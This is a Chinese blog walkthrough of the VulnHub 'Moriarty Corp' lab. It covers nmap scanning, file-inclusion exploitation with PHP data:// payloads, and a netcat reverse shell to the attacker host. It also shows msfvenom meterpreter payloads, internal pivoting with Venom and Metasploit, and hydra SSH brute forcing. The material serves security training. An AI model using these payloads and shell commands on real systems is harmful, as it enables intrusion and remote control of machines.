Moriarty Corp靶场渗透笔记

本文最后更新于:2022年8月18日 下午

Moriarty Corp靶场渗透笔记

靶场地址:https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/

网路配置:仅主机

信息收集

1
nmap -sn -PR -T4 192.168.56.0/24

-sn:只进行主机发现,不进行端口扫描。

-PR:ARP Ping。

-T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。

image-20220109132231350

端口扫描:

image-20220109134002394

漏洞探测

直接访问8000端口,注意一点,访问使用http协议,部分浏览器会自动使用https访问,会出现未响应现象

拿到第一个flag,flag{start}打靶正式开始

image-20220109134221729

可以看到开放80端口

image-20220109134349281

随便访问一下,可以看到可能存在文件包含漏洞,使用**../../../../../../../../etc/passwd**进行测试,存在该漏洞

image-20220109134439608

image-20220109134712217

漏洞利用

文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限,这里提供两种不同利用方法的payload。

远程文件包含

kali开启apache2服务创建一句话木马evil.php

网页访问即可

1
http://192.168.56.115/?file=http://192.168.56.105/evil.php

image-20220109143014006值得注意的一点是,此时网页显示的phpinfo信息是kali攻击机apache2的信息,本次远程文件包含的流程是受害者访问kali攻击机的evil.php,此时返回的结果是php在kali攻击机运行完成后结果,而并非在受害机上运行phpinfo,如果想在受害机上运行phpinfo应该将evil.php改为evil.txt,使得受害机获取evil.txt的网页源代码,由于文件包含会自动将包含内容的php代码解析,因此可在受害机上执行php代码。

攻击代码:

1
192.168.56.115/?file=http://192.168.56.105/evil.txt

image-20220109145007779

php伪协议

1
2
3
4
# 验证payload
http://192.168.56.115/?file=
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
1
2
#php反弹shell
http://192.168.56.115/?file=data://text/plain,<?php system('nc 192.168.56.105 7777 -e /bin/sh')?>

利用上述两种方法反弹shell即可,获得flag

image-20220109170801333

内网渗透

image-20220109170912002

要求获得内网权限,根据配置我们可以知道受害机是连接外网的机器,其内部应该有连接内网的网卡,这里靶机应该是用多个docker构建内,因此我们需要利用受害机转发流量。

代理转发这里提供两种方法供学习使用:Venom工具和metasploit工具

Venom工具

github链接:https://github.com/Dliv3/Venom/releases

打开目录可以看到分为:admin(服务端)和agent(客户端),服务端是在本地运行,客户端则是在目标服务器上运行,分类也是包含了大部分操作系统的类型,scripts目录里的脚本是用来端口复用的:

image-20220109171839371

这里出现了权限问题,说明在本目录没有权限,切换至/tmp/文件即可

image-20220109173610613

kali运行监听端口

1
./admin_linux_x86 -lport 9999

受害机连接端口

1
./agent_linux_x86 -rhost 192.168.56.105 -rport 9999

这里可以配置代理设置

image-20220109175057727

可以看到节点已经连接上(A表示本机,1表示受害者)

配置sock代理端口1080,即所有经过kali1080端口的流量都将转发至1号节点

1
2
goto 1
socks 1080

metasploit工具

参考链接

攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):

1
2
3
4
5
>>> use exploit/multi/handler
>>> set payloads linux/x64/meterpreter_reverse_tcp
>>> set LHOST 192.168.56.105 #监听主机ip地址
>>> set LPORT 9999 #监听主机端口号
>>> exploit -j

生成反弹需要的payload文件

1
>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

将生成的文件上传到目标主机,并更改payload可执行权限,并执行。

1
2
>>> chmod 777 shell.elf
>>> ./shell.elf

在攻击端,监听的主机收到目标主机反弹的shell权限

根据提交flag后系统反馈的提示说明,需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。

执行指令添加路由操作。

1
>>>run autoroute -s 172.17.0.0/24

添加socks5代理:

1
2
>>>use auxiliary/server/socks5
>>>run

配置kali的proxychain,利用它的代理功能让kali上的所有工具都能利用这个代理穿透内网。

image-20220109180310934

1
2
# 经过代理扫描
proxychains nmap 172.17.0.3-254 -p80,22,443

扫描比较慢稍等片刻即可

image-20220109220118039

image-20220109220307903

文件上传,传个小马试试

image-20220109221928398

上传之后还想没啥反应,看其他writeup可知,需要密码爆破,发burp设代理,一气呵成,爆出密码password

找到地址,蚁剑访问即可

image-20220109223649981

获得flag

SSH爆破

根据提示,我需要找一个ssh服务器

image-20220109224507109

proxychains扫描内网中开启22端口的主机

1
2
proxychains nmap -p22 -sT -Pn 172.17.0.3-254
-Pn 跳过主机发现,默认主机开启,直接扫描端口,如果不添加,nmap会首先扫描80端口判断主机存活,之后扫描22端口

值得注意的是nmap扫描网段并不是完全顺序扫描,这里可以看到172.17.0.5开始了ssh,接下来扫描的是172.17.0.8

image-20220109230417955

md5破解密文,hydra加载用户名密码破解

1
proxychains hydra -L users.txt -P pass.txt ssh://172.17.0.5

找到用户root和密码weapons,登陆即可,在根目录找到flag

水平越权

重新进行端口扫描

1
proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-255

这次等待时间稍长一些,发现开放端口8000的ip172.17.0.7

有更改密码选项,直接抓包

image-20220109233456372image-20220109233532187

似乎未对用户名验证,存在水平越权,在聊天框里获取到用户名管理员admin

image-20220109233729223

重新登陆即可获得本关flag

Elasticsearch提权

本官提示网站数据库Elasticsearch,百度可知Elasticsearch默认端口9200

端口扫描

1
proxychains nmap -p9200 -sT -Pn 172.17.0.3-255

找到172.17.0.9:9200

访问获得相关版本信息

image-20220109234523085

搜索Elasticsearch历史版本漏洞exp

按文档执行即可

遇到的问题

1.环境启动时候可能会出现卡死现象,这是网络配置出现问题

image-20220109131251057

解决方法:

可以在虚拟机网络配置中切换连接方式为NAT,即可顺利进入虚拟机,进入后再次切换为所要连接方式即可

image-20220109131130758

2.在利用venom搭建代理时,采用正向代理不成功,怀疑内网设置了防火墙禁止外网访问

正向代理

如果目标防火墙只允许进不允许出,那么我们就可以使用正向代理。也就是我们去连接目标。

agent监听端口,admin发起连接:

1
2
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888

反向代理

反向代理就是我们客户端监听,目标服务端连接我们的客户端。

admin监听端口,agent发起连接:

1
2
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999

Moriarty Corp靶场渗透笔记
https://genioco.github.io/2022/01/09/hacking/Moriarty Corp靶场渗透笔记/
作者
BadWolf
发布于
2022年1月9日
许可协议